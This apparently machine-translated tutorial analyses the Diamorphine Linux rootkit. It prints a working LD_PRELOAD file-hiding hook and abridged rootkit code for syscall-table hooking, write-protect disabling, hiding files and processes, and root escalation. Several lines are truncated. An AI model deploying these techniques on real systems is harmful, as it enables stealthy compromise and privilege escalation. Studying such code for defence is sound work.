Diamorphine LKM Rootkit — Translation and Analysis
From user space: peeking at rootkits
The snippet below implements a basic file-hiding hack using LD_PRELOAD (hidefile.c):
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <string.h>
#define HIDE_FILE "hidefile"
typedef struct dirent* (*ls_t)(DIR*);
struct dirent* readdir(DIR* dirp) {
ls_t original_readdir = (ls_t)dlsym(RTLD_NEXT, "readdir");
struct dirent* entry;
do {
entry = original_readdir(dirp);
} while (entry != NULL && strcmp(entry->d_name, HIDE_FILE) == 0);
return entry;
}
The logic is straightforward: hijack readdir, and if the returned entry name matches HIDE_FILE, skip it and continue calling the original readdir until a non-matching entry is found (or NULL).
As a result, programs that use readdir (for example, ls) will not see the file named “hidefile”.
Build and run:
gcc -shared -fPIC -o hidefile.so hidefile.c -ldl
export LD_PRELOAD=$(realpath hidefile.so)
This LM_PRELOAD trick demonstrates a simple user-space rootkit technique. There are many further refinements and higher-priority techniques, but those are beyond the scope of this article — readers […]
LKM: “Hello, world”
First, ensure kernel headers are installed:
- Ubuntu/Debian:
sudo apt-get install linux-headers-$(uname -r) - CentOS/Fedora:
sudo yum install kernel-devel-$(uname -r)
A minimal kernel module example:
#include <linux/module.h>
#include <linux/kernel.h>
MODULE_LICENSE("GPL");
static int __init example_init(void)
{
printk(KERN_INFO "Hello, world!\n");
return 0;
}
static void __exit example_exit(void)
{
printk(KERN_INFO "Goodbye, world!\n");
}
module_init(example_init);
module_exit(example_exit);
When the module is loaded it prints “Hello, world!”; when removed it prints “Goodbye, world!” to the kernel log.
Common commands: insmod to insert a module, rmmod to remove it, lsmod to list loaded modules.
Analyzing Diamorphine: an LKM rootkit primer
Repository: https://github.com/m0nad/Diamorphine
The main implementation (diamorphine.c) is about 400 lines. diamorphine.h contains configuration macros. Notable configuration items:
MAGIC_PREFIX: filenames or directories that start with this prefix will be hidden.MODULE_NAME: the kernel module name.
Diamorphine also defines three signals for control via kill:
SIGINVIS = 31: hide/unhide a process.SIGSUPER = 64: obtain a root shell.SIGMODINVIS = 63: hide/unhide the kernel module itself (module is hidden by default).
If you choose custom signals they must fall into the range accepted by kill.
Initialization and cleanup
At the bottom of diamorphine.c you can see the module init and exit bindings: module_init(diamorphine_init); and module_exit(diamorphine_cleanup);.
The init function (abridged) looks like this:
static int __init
diamorphine_init(void)
{
__sys_call_table = get_syscall_table_bf();
if (!__sys_call_table)
return -1;
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
cr0 = read_cr0();
#elif IS_ENABLED(CONFIG_ARM64)
update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");
start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");
#endif
module_hide();
tidy();
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
orig_getdents = (t_syscall)__sys_call_table[__NR_getdents];
orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64];
orig_kill = (t_syscall)__sys_call_table[__NR_kill];
#else
orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];
orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64];
orig_kill = (orig_kill_t)__sys_call_table[__NR_kill];
#endif
unprotect_memory();
__sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
__sys_call_table[__NR_kill] = (unsigned long) hacked_kill;
protect_memory();
return 0;
}
Briefly:
get_syscall_table_bf()obtains the address of the system call table. If it fails the init returns -1.- Depending on the architecture (x86/x86_64 vs ARM64) it records CR0 or looks up certain kernel symbols via
kallsyms_lookup_name. module_hide()removes the module from the module list solsmodcannot see it.tidy()frees and NULLs module attributes to avoid dangling pointers.- The original syscall pointers for
getdents,getdents64, andkillare saved. - The code disables write-protection, replaces entries in the syscall table with
hacked_*hooks, and then restores protection.
If the module is unloaded the cleanup restores the original syscall pointers:
static void __exit diamorphine_cleanup(void)
{
unprotect_memory();
__sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64;
__sys_call_table[__NR_kill] = (unsigned long) orig_kill;
protect_memory();
}
Finding the syscall table: get_syscall_table_bf()
The function returns an unsigned long * pointer to the syscall table. Its implementation differs by kernel version. For kernels newer than 4.4, it uses kallsyms_lookup_name("sys_call_table") — o[…]
Background notes:
- System call table: a kernel table that stores entry addresses for system calls. When a process invokes a syscall it jumps into the kernel at the corresponding table entry.
- Kernel probes (kprobes): a mechanism to register probes for kernel functions;
register_kprobe(&kp)registers a probe described bykp. Diamorphine sometimes uses a kprobe to obtain the address of[…]
References on kprobes and kernel symbol lookup are useful when reading the implementation.
Memory protection and architecture differences
Diamorphine checks architecture macros using IS_ENABLED(). On x86/x86_64 it reads CR0 (control register) to later toggle the write-protect bit (WP). On ARM64 it looks up update_mapping_prot, `__st[…]
The unprotect_memory() function clears the WP bit (or updates page mappings on ARM64) so the module can modify the read-only syscall table:
static inline void unprotect_memory(void)
{
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
write_cr0_forced(cr0 & ~0x00010000);
#else
write_cr0(cr0 & ~0x00010000);
#endif
#elif IS_ENABLED(CONFIG_ARM64)
update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
section_size, PAGE_KERNEL);
#endif
}
protect_memory() reverses the change after the hooks are installed.
Hiding files: hooking getdents/getdents64
User-space listing utilities (like ls) ultimately use the getdents/getdents64 syscalls. By hooking those syscalls and filtering directory entries in the buffer returned to user space, the rootki[…]
Below is the key logic from hacked_getdents64 (abridged):
#if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) {
#if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64)
int fd = (int) pt_regs->di;
struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si;
#elif IS_ENABLED(CONFIG_ARM64)
int fd = (int) pt_regs->regs[0];
struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1];
#endif
int ret = orig_getdents64(pt_regs), err;
// ...
if (ret <= 0)
return ret;
kdirent = kzalloc(ret, GFP_KERNEL);
if (kdirent == NULL)
return ret;
err = copy_from_user(kdirent, dirent, ret);
if (err)
goto out;
// identify whether listing /proc root
d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode;
if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev))
proc = 1;
while (off < ret) {
dir = (void *)kdirent + off;
if ((!proc && (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0))
|| (proc && is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) {
if (dir == kdirent) {
ret -= dir->d_reclen;
memmove(dir, (void *)dir + dir->d_reclen, ret);
continue;
}
prev->d_reclen += dir->d_reclen;
} else
prev = dir;
off += dir->d_reclen;
}
err = copy_to_user(dirent, kdirent, ret);
// ...
out:
kfree(kdirent);
return ret;
}
#endif
High-level summary of the steps:
- Call the original syscall to fill the user-space buffer, and capture the return size
ret. - Allocate a kernel buffer
kdirentof sizeretand copy the returned data from user space into it withcopy_from_user. - Iterate directory entries in
kdirent. For each entry: ifMAGIC_PREFIXmatches the start of the filename, or (for/proc) the PID is listed as invisible, remove the entry by either memmoving th[…] - Copy the filtered buffer back to user space with
copy_to_userand return the adjusted size.
This is conceptually the same as the earlier LD_PRELOAD readdir trick, but performed in kernel space by intercepting the syscalls that provide directory entries.
Hiding processes
Processes are hidden by toggling a per-task flag PF_INVISIBLE on the corresponding task_struct. The code uses a helper find_task(pid) and then flips the flag: task->flags ^= PF_INVISIBLE;
If find_task returns NULL the code returns -ESRCH (no such process). PF_INVISIBLE in Diamorphine is a custom-defined flag used to mark a task as hidden. The kernel defines many PF_* flags for[…]
The XOR toggle is a neat trick: if the bit was previously unset it becomes set (hidden); if it was set it gets cleared (unhidden). Because this flag is not a standard kernel-observed bit, it effective[…]
Privilege escalation (getting root)
The rootkit implements a small give_root() helper that sets UID/GID fields to 0. For older kernels it directly overwrites current->uid/euid etc.; for newer kernels it uses prepare_creds()/`com[…]
A simplified excerpt:
void give_root(void)
{
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
current->uid = current->gid = 0;
current->euid = current->egid = 0;
current->suid = current->sgid = 0;
current->fsuid = current->fsgid = 0;
#else
struct cred *newcreds;
newcreds = prepare_creds();
if (newcreds == NULL)
return;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \n && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \n || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
newcreds->uid.val = newcreds->gid.val = 0;
newcreds->euid.val = newcreds->egid.val = 0;
newcreds->suid.val = newcreds->sgid.val = 0;
newcreds->fsuid.val = newcreds->fsgid.val = 0;
#else
newcreds->uid = newcreds->gid = 0;
newcreds->euid = newcreds->egid = 0;
newcreds->suid = newcreds->sgid = 0;
newcreds->fsuid = newcreds->fsgid = 0;
#endif
commit_creds(newcreds);
#endif
}
This gives the current task UID/GID 0 (root) by modifying the credentials.
Closing notes
Diamorphine is a compact, instructive example of an LKM rootkit that demonstrates common techniques: locating the syscall table, disabling write protection, replacing syscall pointers, filtering direc[…]
If you study the real project repository you will see more details, ioctl handlers or other control mechanisms, and niceties to support multiple kernel versions and architectures.
This translation aims to be faithful to the original article while improving formatting and adding in-line clarifications. If you want, I can adjust the tone, add diagrams, or split the content into m[…]